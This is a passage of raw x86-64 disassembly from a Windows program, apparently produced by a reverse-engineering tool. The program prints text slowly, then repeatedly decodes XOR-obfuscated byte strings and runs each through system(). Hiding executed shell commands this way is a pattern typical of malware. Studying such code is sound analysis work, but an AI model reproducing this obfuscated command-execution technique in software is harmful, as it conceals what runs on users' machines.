jb 0x140007bbf
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012e31
mov rcx, r8
call fcn.140087bdc
movdqa xmm0, xmmword [0x14009ec80]
movdqu xmmword [rbp + 0x218], xmm0
mov byte [rbp + 0x208], 0
lea rbx, [rbp + 0x3a30]
cmp qword [rbp + 0x3a48], 0x10
cmovae rbx, qword [rbp + 0x3a30]
lea rdi, [rbp + 0x3a30]
cmovae rdi, qword [rbp + 0x3a30]
add rdi, qword [rbp + 0x3a40]
cmp rbx, rdi
je 0x140007c42
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140007c10
lea rdx, [0x14009bab8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003350
lea rdx, [0x140003540]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14009b9e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009dbb0]
movups xmmword [rbp + 0x2ae0], xmm0
movups xmm1, xmmword [0x14009dbc0]
movups xmmword [rbp + 0x2af0], xmm1
movups xmm0, xmmword [0x14009dbd0]
movups xmmword [rbp + 0x2b00], xmm0
movups xmm1, xmmword [0x14009dbe0]
movups xmmword [rbp + 0x2b10], xmm1
movups xmm0, xmmword [0x14009dbf0]
movups xmmword [rbp + 0x2b20], xmm0
movups xmm1, xmmword [str._9164u9___]
movups xmmword [rbp + 0x2b30], xmm1
movups xmm0, xmmword [0x14009dc10]
movups xmmword [rbp + 0x2b40], xmm0
movups xmm1, xmmword [0x14009dc20]
movups xmmword [rbp + 0x2b50], xmm1
movsd xmm0, qword [0x14009dc30]
movsd qword [rbp + 0x2b60], xmm0
mov eax, dword [0x14009dc38]
mov dword [rbp + 0x2b68], eax
movzx eax, byte [0x14009dc3c]
mov byte [rbp + 0x2b6c], al
mov r8d, esi
mov ebx, Ordinal_32
cmp r15d, 2
jl 0x140007e79
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2ae4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140007d70
cmp r8d, 0x8d
jge 0x140007ec3
movsxd rax, r8d
lea r9, [rbp + 0x2ae0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8d
jl 0x140007e90
lea rcx, [rbp + 0x2ae0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009c900]
movups xmmword [rbp + 0x2360], xmm0
movups xmm0, xmmword [0x14009c920]
movups xmm1, xmmword [0x14009c910]
movups xmmword [rbp + 0x2380], xmm0
movups xmmword [rbp + 0x2370], xmm1
movups xmm0, xmmword [0x14009c940]
movups xmm1, xmmword [0x14009c930]
movups xmmword [rbp + 0x23a0], xmm0
movups xmmword [rbp + 0x2390], xmm1
movups xmm0, xmmword [0x14009c960]
movups xmm1, xmmword [str._9164mhs_]
movups xmmword [rbp + 0x23c0], xmm0
movups xmmword [rbp + 0x23b0], xmm1
movzx eax, byte [0x14009c990]
movups xmm0, xmmword [0x14009c980]
movups xmm1, xmmword [0x14009c970]
mov byte [rbp + 0x23f0], al
movups xmmword [rbp + 0x23e0], xmm0
movups xmmword [rbp + 0x23d0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x1400080b9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2364]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140007fb0
cmp r8d, 0x91
jge 0x140008103
movsxd rax, r8d
lea r9, [rbp + 0x2360]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x1400080d0
lea rcx, [rbp + 0x2360]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x14009d2f0]
movups xmm0, xmmword [0x14009d2e0]
movups xmmword [rbp + 0xce0], xmm1
movups xmmword [rbp + 0xcd0], xmm0
mov eax, dword [0x14009d360]
movups xmm1, xmmword [0x14009d310]
movups xmm0, xmmword [0x14009d300]
mov dword [rbp + 0xd50], eax
movups xmmword [rbp + 0xd00], xmm1
movups xmmword [rbp + 0xcf0], xmm0
movzx eax, word [0x14009d364]
movups xmm1, xmmword [str.fv___c91_]
movups xmm0, xmmword [0x14009d320]
mov word [rbp + 0xd54], ax
movups xmmword [rbp + 0xd20], xmm1
movups xmmword [rbp + 0xd10], xmm0
movzx eax, byte [0x14009d366]
movups xmm1, xmmword [0x14009d350]
movups xmm0, xmmword [0x14009d340]
mov byte [rbp + 0xd56], al
movups xmmword [rbp + 0xd40], xmm1
movups xmmword [rbp + 0xd30], xmm0
mov r8d, esi
cmp r15d, 2
jl 0x1400082f9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xcd4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x1400081f0
cmp r8d, 0x87
jge 0x140008343
movsxd rax, r8d
lea r9, [rbp + 0xcd0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x87
jl 0x140008310
lea rcx, [rbp + 0xcd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x14009ddf0]
movups xmm0, xmmword [0x14009dde0]
movups xmmword [rbp + 0xbd0], xmm1
movups xmmword [rbp + 0xbc0], xmm0
mov eax, dword [0x14009de60]
movups xmm1, xmmword [0x14009de10]
movups xmm0, xmmword [0x14009de00]
mov dword [rbp + 0xc40], eax
movups xmmword [rbp + 0xbf0], xmm1
movups xmmword [rbp + 0xbe0], xmm0
movzx eax, word [0x14009de64]
movups xmm1, xmmword [str.ev___c91_]
movups xmm0, xmmword [0x14009de20]
mov word [rbp + 0xc44], ax
movups xmmword [rbp + 0xc10], xmm1
movups xmmword [rbp + 0xc00], xmm0
movzx eax, byte [0x14009de66]
movups xmm1, xmmword [0x14009de50]
movups xmm0, xmmword [0x14009de40]
mov byte [rbp + 0xc46], al
movups xmmword [rbp + 0xc30], xmm1
movups xmmword [rbp + 0xc20], xmm0
mov r8d, esi
cmp r15d, 2
jl 0x140008539
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xbc4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140008430
cmp r8d, 0x87
jge 0x140008583
movsxd rax, r8d
lea r9, [rbp + 0xbc0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x87
jl 0x140008550
lea rcx, [rbp + 0xbc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x14009d020]
movups xmm0, xmmword [0x14009d010]
movups xmmword [rbp + 0x1420], xmm1
movups xmmword [rbp + 0x1410], xmm0
movups xmm1, xmmword [0x14009d040]
movups xmm0, xmmword [0x14009d030]
movups xmmword [rbp + 0x1440], xmm1
movups xmmword [rbp + 0x1430], xmm0
movzx eax, word [0x14009d090]
movups xmm1, xmmword [str.56x59_e_303]
movups xmm0, xmmword [0x14009d050]
mov word [rbp + 0x1490], ax
movups xmmword [rbp + 0x1460], xmm1
movups xmmword [rbp + 0x1450], xmm0
movzx eax, byte [0x14009d092]
movups xmm1, xmmword [0x14009d080]
movups xmm0, xmmword [0x14009d070]
mov byte [rbp + 0x1492], al
movups xmmword [rbp + 0x1480], xmm1
movups xmmword [rbp + 0x1470], xmm0
mov r8d, esi
cmp r15d, 2
jl 0x140008779
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1414]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140008670
cmp r8d, 0x83
jge 0x1400087c3
movsxd rax, r8d
lea r9, [rbp + 0x1410]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x83
jl 0x140008790
lea rcx, [rbp + 0x1410]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009cbe0]
movups xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [0x14009cc00]
movups xmm1, xmmword [0x14009cbf0]
movups xmmword [rbp + 0x2420], xmm0
movups xmmword [rbp + 0x2410], xmm1
movups xmm0, xmmword [0x14009cc20]
movups xmm1, xmmword [0x14009cc10]
movups xmmword [rbp + 0x2440], xmm0
movups xmmword [rbp + 0x2430], xmm1
movups xmm0, xmmword [0x14009cc40]
movups xmm1, xmmword [0x14009cc30]
movups xmmword [rbp + 0x2460], xmm0
movups xmmword [rbp + 0x2450], xmm1
movzx eax, byte [0x14009cc70]
movups xmm0, xmmword [0x14009cc60]
movups xmm1, xmmword [0x14009cc50]
mov byte [rbp + 0x2490], al
movups xmmword [rbp + 0x2480], xmm0
movups xmmword [rbp + 0x2470], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x1400089b9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2404]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400088b0
cmp r8d, 0x91
jge 0x140008a03
movsxd rax, r8d
lea r9, [rbp + 0x2400]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x1400089d0
lea rcx, [rbp + 0x2400]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009e8b0]
movups xmmword [rbp + 0x19c0], xmm0
movups xmm0, xmmword [0x14009e8d0]
movups xmm1, xmmword [0x14009e8c0]
movups xmmword [rbp + 0x19e0], xmm0
movups xmmword [rbp + 0x19d0], xmm1
movups xmm0, xmmword [0x14009e8f0]
movups xmm1, xmmword [0x14009e8e0]
movups xmmword [rbp + 0x1a00], xmm0
movups xmmword [rbp + 0x19f0], xmm1
movzx eax, word [0x14009e940]
movups xmm0, xmmword [0x14009e910]
movups xmm1, xmmword [0x14009e900]
mov word [rbp + 0x1a50], ax
movups xmmword [rbp + 0x1a20], xmm0
movups xmmword [rbp + 0x1a10], xmm1
movzx eax, byte [0x14009e942]
movups xmm0, xmmword [0x14009e930]
movups xmm1, xmmword [0x14009e920]
mov byte [rbp + 0x1a52], al
movups xmmword [rbp + 0x1a40], xmm0
movups xmmword [rbp + 0x1a30], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x140008bfa
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x19c4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140008af1
cmp r8d, 0x93
jge 0x140008c43
movsxd rax, r8d
lea r9, [rbp + 0x19c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x140008c10
lea rcx, [rbp + 0x19c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.UBJU]
movups xmmword [rbp + 0x1920], xmm0
movups xmm0, xmmword [0x14009eac0]
movups xmm1, xmmword [0x14009eab0]
movups xmmword [rbp + 0x1940], xmm0
movups xmmword [rbp + 0x1930], xmm1
movups xmm0, xmmword [0x14009eae0]
movups xmm1, xmmword [0x14009ead0]
movups xmmword [rbp + 0x1960], xmm0
movups xmmword [rbp + 0x1950], xmm1
movzx eax, word [0x14009eb30]
movups xmm0, xmmword [0x14009eb00]
movups xmm1, xmmword [0x14009eaf0]
mov word [rbp + 0x19b0], ax
movups xmmword [rbp + 0x1980], xmm0
movups xmmword [rbp + 0x1970], xmm1
movzx eax, byte [0x14009eb32]
movups xmm0, xmmword [0x14009eb20]
movups xmm1, xmmword [0x14009eb10]
mov byte [rbp + 0x19b2], al
movups xmmword [rbp + 0x19a0], xmm0
movups xmmword [rbp + 0x1990], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x140008e3a
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1924]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140008d31
cmp r8d, 0x93
jge 0x140008e83
